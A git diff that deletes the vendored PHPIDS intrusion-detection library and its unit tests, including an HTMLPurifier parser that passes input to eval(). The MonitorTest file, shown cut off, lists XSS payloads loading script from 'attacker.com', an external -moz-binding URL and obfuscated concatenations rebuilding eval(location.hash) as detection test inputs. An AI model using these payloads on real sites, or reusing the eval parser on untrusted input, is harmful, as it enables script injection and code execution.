sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php deleted file mode 100755 index 55c4aea0fecbce084ccc1bc0a5adc03e9a13130f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -/** - * This variable parser uses PHP's internal code engine. Because it does - * this, it can represent all inputs; however, it is dangerous and cannot - * be used by users. - */ -class HTMLPurifier_VarParser_Native extends HTMLPurifier_VarParser -{ - - protected function parseImplementation($var, $type, $allow_null) { - return $this->evalExpression($var); - } - - protected function evalExpression($expr) { - $var = null; - $result = eval("\$var = $expr;"); - if ($result === false) { - throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); - } - return $var; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php deleted file mode 100755 index 82e465d6a9c4a18c976f5be0f115ae23e5c2ba07..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -/** - * Exception type for HTMLPurifier_VarParser - */ -class HTMLPurifier_VarParserException extends HTMLPurifier_Exception -{ - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/CachingTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/CachingTest.php deleted file mode 100755 index b1d565e7182415064241fd69acc01eaac6d3f2ff..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/CachingTest.php +++ /dev/null @@ -1,104 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:CachingTest.php 515 2007-09-15 13:43:40Z christ1an $ - */ - -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Init.php'; -require_once 'IDS/Caching/Factory.php'; - -class IDS_CachingTest extends PHPUnit_Framework_TestCase { - - public function setUp() { - $this->path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini.php'; - $this->init = IDS_Init::init($this->path); - } - - function testCachingNone() { - $this->init->config['Caching']['caching'] = 'none'; - $this->assertFalse(IDS_Caching::factory($this->init, 'storage')); - } - - function testCachingFile() { - $this->init->config['Caching']['caching'] = 'file'; - $this->init->config['Caching']['expiration_time'] = 0; - $this->assertTrue(IDS_Caching::factory($this->init, 'storage') instanceof IDS_Caching_File); - } - - function testCachingFileSetCache() { - $this->init->config['Caching']['caching'] = 'file'; - $this->init->config['Caching']['expiration_time'] = 0; - $cache = IDS_Caching::factory($this->init, 'storage'); - $cache = $cache->setCache(array(1,2,3,4)); - $this->assertTrue($cache instanceof IDS_Caching_File); - } - - function testCachingFileGetCache() { - $this->init->config['Caching']['caching'] = 'file'; - $this->init->config['Caching']['path'] = dirname(__FILE__) . '/../../lib/IDS/tmp/default_filter.cache'; - $this->init->config['Caching']['expiration_time'] = 0; - $cache = IDS_Caching::factory($this->init, 'storage'); - $cache = $cache->setCache(array(1,2,3,4)); - $this->assertEquals($cache->getCache(), array(1,2,3,4)); - } - - function testCachingSession() { - $this->init->config['Caching']['caching'] = 'session'; - $this->assertTrue(IDS_Caching::factory($this->init, 'storage') instanceof IDS_Caching_Session); - } - - function testCachingSessionSetCache() { - $this->init->config['Caching']['caching'] = 'session'; - - $cache = IDS_Caching::factory($this->init, 'storage'); - $cache = $cache->setCache(array(1,2,3,4)); - $this->assertTrue($cache instanceof IDS_Caching_Session); - } - - function testCachingSessionGetCache() { - $this->init->config['Caching']['caching'] = 'session'; - - $cache = IDS_Caching::factory($this->init, 'storage'); - $cache = $cache->setCache(array(1,2,3,4)); - $this->assertEquals($cache->getCache(), array(1,2,3,4)); - } - - function testCachingSessionGetCacheDestroyed() { - $this->init->config['Caching']['caching'] = 'session'; - - $cache = IDS_Caching::factory($this->init, 'storage'); - $cache = $cache->setCache(array(1,2,3,4)); - $_SESSION['PHPIDS']['storage'] = null; - $this->assertFalse($cache->getCache()); - } - - function tearDown() { - @unlink(dirname(__FILE__) . '/../../lib/IDS/tmp/default_filter.cache'); - @unlink(dirname(__FILE__) . '/../../lib/IDS/tmp/memcache.timestamp'); - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/EventTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/EventTest.php deleted file mode 100755 index d6602904e387b511f7a770956deac577dd6ff8ee..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/EventTest.php +++ /dev/null @@ -1,85 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:EventTest.php 515 2007-09-15 13:43:40Z christ1an $ - */ - -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Event.php'; -require_once 'IDS/Filter.php'; - -class IDS_EventTest extends PHPUnit_Framework_TestCase -{ - public function setUp() - { - $this->event = new IDS_Event("handled_key", "my val", - array( - new IDS_Filter(1, '^test$', 'my description', array('tag1', 'tag2'), 10), - new IDS_Filter(1, '^test2$', 'my other desc', array('tag2', 'tag3'), 4) - ) - ); - } - - public function testName() - { - $this->assertEquals('handled_key', $this->event->getName()); - $this->assertEquals("my val", $this->event->getValue()); - } - - public function testValueAggregation() - { - $this->assertEquals(14, $this->event->getImpact()); - $this->assertEquals(array('tag1', 'tag2', 'tag3'), $this->event->getTags()); - } - - public function testIterator() - { - $regexps = array('^test$', '^test2$'); - foreach ($this->event as $key => $filter) - $this->assertEquals($regexps[$key], $filter->getRule()); - foreach ($this->event->getFilters() as $key => $filter) - $this->assertEquals($regexps[$key], $filter->getRule()); - } - - public function testCount() - { - $this->assertEquals(2, count($this->event)); - } - - public function testCopy() - { - $filters = $this->event->getFilters(); - $filter[] = "foo"; - $this->assertEquals(2, count($this->event)); - } - - public function testIteratorAggregate() - { - $this->assertInstanceOf('IteratorAggregate', $this->event); - $this->assertInstanceOf('IteratorAggregate', $this->event->getIterator()); - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/ExceptionTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/ExceptionTest.php deleted file mode 100755 index cfc42c428deae239bd5701f1185ac2de0e50fd9e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/ExceptionTest.php +++ /dev/null @@ -1,112 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:ExceptionTest.php 517 2007-09-15 15:04:13Z mario $ - */ - -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Init.php'; -require_once 'IDS/Caching/Factory.php'; -require_once 'IDS/Report.php'; -require_once 'IDS/Event.php'; -require_once 'IDS/Filter.php'; -require_once 'IDS/Monitor.php'; -require_once 'IDS/Filter/Storage.php'; - -class IDS_ExceptionTest extends PHPUnit_Framework_TestCase -{ - public function setUp() { - $this->report = new IDS_Report(array( - new IDS_Event("key_a", 'val_b', - array( - new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), - new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) - ) - ), - new IDS_Event('key_b', 'val_b', - array( - new IDS_Filter(1, '^test_b1$', 'desc_b1', array('tag_b1', 'tag_b2'), 3), - new IDS_FIlter(1, '^test_b2$', 'desc_b2', array('tag_b2', 'tag_b3'), 4), - ) - ) - )); - - $this->path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini.php'; - $this->init = IDS_Init::init($this->path); - } - - public function testEventConstructorExceptions1() { - $this->setExpectedException('InvalidArgumentException'); - new IDS_Event(array(1,2), 'val_b', - array( - new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), - new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) - ) - ); - } - - public function testEventConstructorExceptions2() { - $this->setExpectedException('InvalidArgumentException'); - new IDS_Event("key_a", array(1,2), - array( - new IDS_Filter(1, '^test_a1$', 'desc_a1', array('tag_a1', 'tag_a2'), 1), - new IDS_Filter(1, '^test_a2$', 'desc_a2', array('tag_a2', 'tag_a3'), 2) - ) - ); - } - - public function testEventConstructorExceptions3() { - $this->setExpectedException('InvalidArgumentException'); - new IDS_Event("key_a", 'val_b', array(1,2)); - } - - public function testGetEventException() { - $this->setExpectedException('InvalidArgumentException'); - $this->assertEquals($this->report->getEvent(array(1,2,3)), $this->getExpectedException()); - } - - public function testHasEventException() { - $this->setExpectedException('InvalidArgumentException'); - $this->assertEquals($this->report->hasEvent(array(1,2,3)), $this->getExpectedException()); - } - - public function testInitConfigWrongPathException() { - $this->setExpectedException('Exception'); - $this->assertEquals(IDS_Init::init('IDS/Config/Config.ini.wrong'), $this->getExpectedException()); - } - - public function testWrongXmlFilterPathException() { - $this->setExpectedException('Exception'); - $this->init->config['General']['filter_type'] = 'xml'; - $this->init->config['General']['filter_path'] = 'IDS/wrong_path'; - $this->assertEquals(new IDS_Monitor(array('test', 'bla'), $this->init), $this->getExpectedException()); - } - - public function tearDown() { - $this->init->config['General']['filter_type'] = 'xml'; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/FilterTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/FilterTest.php deleted file mode 100755 index 5c6a5c8c2075baee5f7993f6691bf3b5b040beff..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/FilterTest.php +++ /dev/null @@ -1,97 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:FilterTest.php 515 2007-09-15 13:43:40Z christ1an $ - */ - -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Init.php'; - -class IDS_FilterTest extends PHPUnit_Framework_TestCase - { - public function setUp() { - $this->path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini.php'; - $this->init = IDS_Init::init($this->path); - } - - public function testObjectConstruction() - { - $filter = new IDS_Filter(1, '^test$', 'My description', array('foo', 'bar'), 12); - - $this->assertTrue($filter->match('test')); - $this->assertEquals("My description", $filter->getDescription(), "Should return description"); - $this->assertEquals(array("foo", "bar"), $filter->getTags(), "Should return array/list of tags"); - $this->assertEquals('^test$', $filter->getRule()); - $this->assertEquals(12, $filter->getImpact()); - } - - public function testModificator() - { - $filter = new IDS_Filter(1, '^te.st$', 'My description', array('tag1', 'tag2'), 1); - - // Default must be - // ... case-insensitive - $this->assertTrue($filter->match('TE1ST')); - // ... dot all (\n is matched by .) - $this->assertTrue($filter->match("TE\nST")); - // .. "$" is end only #has changed since modifiers are ims - $this->assertTrue($filter->match("TE1ST\n")); - - } - - public function testExceptions() - { - $filter = new IDS_Filter(1, '^test$', 'My description', array('foo', 'bar'), 10); - - try { - $filter->match(1); - $this->fail("Expected Exception"); - } catch (Exception $e) {} - - - try { - $filter = new IDS_Filter(1, '^test$', 'my desc', array('foo'), 'test'); - $this->fail("Expected Exception"); - } catch (Exception $e) {} - - try { - $filter = new IDS_Filter(1, 1, 'my desc', array("foo"), 'bla'); - $this->fail("Excpected Exception"); - } catch (Exception $e) {} - - } - - public function testFilterSetFilterSet() { - - $this->init->config['General']['filter_type'] = 'xml'; - $this->init->config['General']['filter_path'] = dirname(__FILE__) . '/../../lib/IDS/default_filter.xml'; - $this->storage = new IDS_Filter_Storage($this->init); - $filter = array(); - $filter[] = new IDS_Filter(1, 'test', 'test2', array(), 1); - $this->assertTrue($this->storage->setFilterSet($filter) instanceof IDS_Filter_Storage); - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/InitTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/InitTest.php deleted file mode 100755 index 43e58914bbf8e4abf18cab85d13500d1ff920f87..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/InitTest.php +++ /dev/null @@ -1,90 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:InitTest.php 517 2007-09-15 15:04:13Z mario $ - */ - -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Init.php'; - -class IDS_InitTest extends PHPUnit_Framework_TestCase { - - public function setUp() { - $this->path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini.php'; - $this->init = IDS_Init::init($this->path); - } - - function testInit() { - $this->assertTrue($this->init instanceof IDS_Init); - } - - function testInitConfig() { - $keys = array('General', 'Logging', 'Caching'); - $this->assertEquals($keys, array_keys($this->init->config)); - } - - function testInitClone() { - $config2 = clone $this->init; - $this->assertEquals($config2, $this->init); - } - - function testInitGetConfigPath() { - $this->assertEquals($this->init->getConfigPath(), $this->path); - } - - function testInitSetConfigOverwrite() { - $this->init->setConfig(array('General' => array('filter_type' => 'json')), true); - $this->assertEquals($this->init->config['General']['filter_type'], 'json'); - - $this->init->setConfig( - array('General' => array('exceptions' => array('foo'))), - true - ); - $this->assertSame( - array('foo', 'GET.__utmc'), - $this->init->config['General']['exceptions'] - ); - } - - function testInitSetConfigNoOverwrite() { - $this->init->setConfig(array('General' => array('filter_type' => 'xml')), true); - $this->init->setConfig(array('General' => array('filter_type' => 'json'))); - $this->assertEquals($this->init->config['General']['filter_type'], 'xml'); - } - - function testInitGetConfig() { - $data = $this->init->getConfig(); - $this->assertEquals($this->init->config, $data); - } - - function testInstanciatingInitObjectWithoutPassingConfigFile() - { - $init = IDS_Init::init(); - $this->assertInstanceOf('IDS_Init', $init); - $this->assertSame($init, IDS_Init::init()); - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/tests/IDS/MonitorTest.php b/apps/maarch_entreprise/tools/phpids/tests/IDS/MonitorTest.php deleted file mode 100755 index 5171664553e605a06784dfc5a4259bc3853e9238..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/IDS/MonitorTest.php +++ /dev/null @@ -1,1558 +0,0 @@ -<?php - -/** - * PHPIDS - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2010 PHPIDS group (https://phpids.org) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; version 2 of the license. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * @package PHPIDS tests - * @version SVN: $Id:MonitorTest.php 517 2007-09-15 15:04:13Z mario $ - */ -require_once 'PHPUnit/Framework/TestCase.php'; -set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); -require_once 'IDS/Monitor.php'; -require_once 'IDS/Init.php'; -require_once 'IDS/Filter/Storage.php'; - -class IDS_MonitorTest extends PHPUnit_Framework_TestCase { - - public function setUp() { - $path = dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini.php'; - $this->init = IDS_Init::init($path); - $this->init->config['General']['filter_path'] = dirname(__FILE__) . '/../../lib/IDS/default_filter.xml'; - $this->init->config['General']['tmp_path'] = dirname(__FILE__) . '/../../lib/IDS/tmp'; - $this->init->config['Caching']['path'] = dirname(__FILE__) . '/../../lib/IDS/tmp/default_filter.cache'; - } - - public function testGetHTML() { - $test = new IDS_Monitor( - array('user' => 'admin<script/src=http/attacker.com>'), - $this->init, - array('csrf') - ); - $test->setHtml('test1'); - $this->assertEquals(array('test1'), $test->getHtml()); - } - - public function testGetStorage() { - $test = new IDS_Monitor( - array('user' => 'admin<script/src=http/attacker.com>'), - $this->init - ); - $this->assertTrue($test->getStorage() instanceof IDS_Filter_Storage); - } - - public function testRunWithTags() { - $test = new IDS_Monitor( - array('user' => 'admin<script/src=http/attacker.com>'), - $this->init, - array('csrf') - ); - - $result = $test->run(); - - foreach ($result->getEvent('user')->getFilters() as $filter) { - $this->assertTrue(in_array('csrf', $filter->getTags())); - } - } - - public function testRun() { - $test = new IDS_Monitor( - array( - 'id' => '9<script/src=http/attacker.com>', - 'name' => '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="' - ), - $this->init - ); - $result = $test->run(); - $this->assertTrue($result->hasEvent('id')); - $this->assertTrue($result->hasEvent('name')); - } - - public function testNoResult() { - $test = new IDS_Monitor(array('test', 'bla'), $this->init); - $this->assertTrue($test->run()->isEmpty()); - } - - public function testSetExceptionsString() - { - $test = new IDS_Monitor(array('test', 'bla'), $this->init); - $exception = 'test1'; - $test->setExceptions($exception); - $result = $test->getExceptions(); - $this->assertEquals($exception, $result[0]); - } - - public function testSetExceptionsArray() - { - $test = new IDS_Monitor(array('test', 'bla'), $this->init); - $exceptions = array('test1', 'test2'); - $test->setExceptions($exceptions); - $this->assertEquals($exceptions, $test->getExceptions()); - } - - public function testList() - { - $test = new IDS_Monitor( - array( - '9<script/src=http/attacker.com>', - '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="' - ), - $this->init - ); - $result = $test->run(); - $this->assertEquals(33, $result->getImpact()); - } - - public function testListWithJsonFilters() - { - - $this->init->config['General']['filter_type'] = 'json'; - $this->init->config['General']['filter_path'] = dirname(__FILE__) . '/../../lib/IDS/default_filter.json'; - - $test = new IDS_Monitor( - array( - '9<script/src=http/attacker.com>', - '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="' - ), - $this->init - ); - $result = $test->run(); - $this->assertEquals(33, $result->getImpact()); - $this->init->config['General']['filter_type'] = 'xml'; - $this->init->config['General']['filter_path'] = dirname(__FILE__) . '/../../lib/IDS/default_filter.xml'; - } - - public function testListWithKeyScanning() { - $exploits = array(); - $exploits['test1'] = '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'; - $exploits['test2'] = '9<script/src=http/attacker.com>'; - $exploits['7<script/src=http/attacker.com>'] = '9<script/src=http/attacker.com>'; - $exploits['8<script/src=http/attacker.com>'] = 'abc'; - $exploits['9<script/src=http/attacker.com>'] = ''; - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $test->scanKeys = true; - $result = $test->run(); - $this->assertEquals(57, $result->getImpact()); - } - - public function testListWithException() { - - $exploits = array(); - $exploits['scanme.1'] = '9<script/src=http/attacker.com>'; - $exploits['scanme.2'] = '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'; - $exploits['ignoreme'] = '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'; - $test = new IDS_Monitor( - $exploits, - $this->init - ); - - $exceptions = array('ignoreme'); - $test->setExceptions($exceptions); - - $result = $test->run(); - $this->assertEquals(33, $result->getImpact()); - } - - public function testListWithWildcardException() { - - $exploits = array(); - $exploits['scanme.1'] = '9<script/src=http/attacker.com>'; - $exploits['scanme.2'] = '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'; - $exploits['ignoreme'] = '" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'; - $test = new IDS_Monitor( - $exploits, - $this->init - ); - - $exceptions = array('/.*oreme$/im'); - $test->setExceptions($exceptions); - - $result = $test->run(); - $this->assertEquals(33, $result->getImpact()); - } - - public function testListWithSubKeys() { - $exploits = array('9<script/src=http/attacker.com>'); - $exploits[] = array('" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'); - $exploits[] = array('9<script/src=http/attacker.com>'); - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(41, $result->getImpact()); - } - - public function testListWithSubKeysAndExceptions() { - $exploits = array('test1' => '9<script/src=http://attacker.com>'); - $exploits[] = array('" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="'); - $exploits[] = array('9<script/src=http/attacker.com>'); - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $test->setExceptions('test1'); - $result = $test->run(); - $this->assertEquals(33, $result->getImpact()); - } - - public function testAttributeBreakerList() { - - $exploits = array(); - $exploits[] = '">XXX'; - $exploits[] = '" style ="'; - $exploits[] = '"src=xxx a="'; - $exploits[] = '"\' onerror = alert(1) '; - $exploits[] = '" a "" b="x"'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(33, $result->getImpact()); - } - - public function testCommentList() { - - $exploits = array(); - $exploits[] = 'test/**/blafasel'; - $exploits[] = 'OR 1#'; - $exploits[] = '<!-- test -->'; - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(9, $result->getImpact()); - } - - public function testConcatenatedXSSList() { - - $exploits = array(); - $exploits[] = "s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1"; - $exploits[] = "s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;"; - $exploits[] = "s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);"; - $exploits[] = "s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];"; - $exploits[] = "s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];"; - $exploits[] = "s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';"; - $exploits[] = "s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;"; - $exploits[] = "t0 =1? \"val\":0;t1 =1? \"e\":0;t2 =1? \"nam\":0;t=1? t1+t0:0;t=1?t[1? t:0]:0;t=(1? t:0)(1? (1? t:0)(1? t2+t1:0):0);"; - $exploits[] = "a=1!=1?0:'eva';b=1!=1?0:'l';c=a+b;d=1!=1?0:'locatio';e=1!=1?0:'n.has';f=1!=1?0:'h.substrin';g=1!=1?0:'g(1)';h=d+e+f+g;0[''+(c)](0[''+(c)](h));"; - $exploits[] = 'b=(navigator);c=(b.userAgent);d=c[61]+c[49]+c[6]+c[4];e=\'\'+/abcdefghijklmnopqrstuvwxyz.(1)/;f=e[12]+e[15]+e[3]+e[1]+e[20]+e[9]+e[15]+e[14]+e[27]+e[8]+e[1]+e[19]+e[8]+e[27]+e[19]+e[21]+e[2]+e[19]+e[20]+e[18]+e[9]+e[14]+e[7]+e[28]+e[29]+e[30];0[\'\'+[d]](0[\'\'+(d)](f));'; - $exploits[] = "c4=1==1&&'(1)';c3=1==1&&'aler';c2=1==1&&':';c1=1==1&&'javascript';a=c1+c2+c3+'t'+c4;(URL=a);"; - $exploits[] = "x=''+/abcdefghijklmnopqrstuvwxyz.(1)/;e=x[5];v=x[22];a=x[1];l=x[12];o=x[15];c=x[3];t=x[20];i=x[9];n=x[14];h=x[8];s=x[19];u=x[21];b=x[2];r=x[18];g=x[7];dot=x[27];uno=x[29];op=x[28];cp=x[30];z=e+v+a+l;y=l+o+c+a+t+i+o+n+dot+h+a+s+h+dot+s+u+b+s+t+r+i+n+g+op+uno+cp;0[''+[z]](0[''+(z)](y));"; - $exploits[] = "d=''+/eval~locat~ion.h~ash.su~bstring(1)/;e=/.(x?.*)~(x?.*)~(x?.*)~(x?.*)~(x?.*)./;f=e.exec(d);g=f[2];h=f[3];i=f[4];j=f[5];k=g+h+i+j;0[''+(f[1])](0[''+(f[1])](k));"; - $exploits[] = "a=1!=1?/x/:'eva';b=1!=1?/x/:'l';a=a+b;e=1!=1?/x/:'h';b=1!=1?/x/:'locatio';c=1!=1?/x/:'n';d=1!=1?/x/:'.has';h=1!=1?/x/:'1)';g=1!=1?/x/:'ring(0';f=1!=1?/x/:'.subst';b=b+c+d+e+f+g+h;B=00[''+[a]](b);00[''+[a]](B);"; - $exploits[] = "(z=String)&&(z=z() );{a=(1!=1)?a:'eva'+z}{a+=(1!=1)?a:'l'+z}{b=(1!=1)?b:'locatio'+z}{b+=(1!=1)?b:'n.has'+z}{b+=(1!=1)?b:'h.subst'+z}{b+=(1!=1)?b:'r(1)'+z}{c=(1!=1)?c:(0)[a]}{d=c(b)}{c(d)}"; - $exploits[] = "{z=(1==4)?here:{z:(1!=5)?'':be}}{y=(9==2)?dragons:{y:'l'+z.z}}{x=(6==5)?3:{x:'a'+y.y}}{w=(5==8)?9:{w:'ev'+x.x}}{v=(7==9)?3:{v:'tr(2)'+z.z}}{u=(3==8)?4:{u:'sh.subs'+v.v}}{t=(6==2)?6:{t:y.y+'ocation.ha'+u.u}}{s=(4==3)?3:{s:(8!=3)?(2)[w.w]:z}}{r=s.s(t.t)}{s.s(r)+z.z}"; - $exploits[] = "{z= (1.==4.)?here:{z: (1.!=5.)?'':be}}{y= (9.==2.)?dragons:{y: 'l'+z.z}}{x= (6.==5.)?3:{x: 'a'+y.y}}{w= (5.==8.)?9:{w: 'ev'+x.x}}{v= (7.==9.)?3:{v: 'tr(2.)'+z.z}}{u= (3.==8.)?4:{u: 'sh.subs'+v.v}}{t= (6.==2.)?6:{t: y.y+'ocation.ha'+u.u}}{s= (4.==3.)?3:{s: (8.!=3.)?(2.)[w.w]:z}}{r= s.s(t.t)}{s.s(r)+z.z}"; - $exploits[] = "a=1==1?1==1.?'':x:x;b=1==1?'val'+a:x;b=1==1?'e'+b:x;c=1==1?'str(1)'+a:x;c=1==1?'sh.sub'+c:x;c=1==1?'ion.ha'+c:x;c=1==1?'locat'+c:x;d=1==1?1==1.?0.[b]:x:x;d(d(c))"; - $exploits[] = "{z =(1)?\"\":a}{y =(1)?{y: 'l'+z}:{y: 'l'+z.z}}x=''+z+'eva'+y.y;n=.1[x];{};; - o=''+z+\"aler\"+z+\"t(x)\"; - n(o);"; 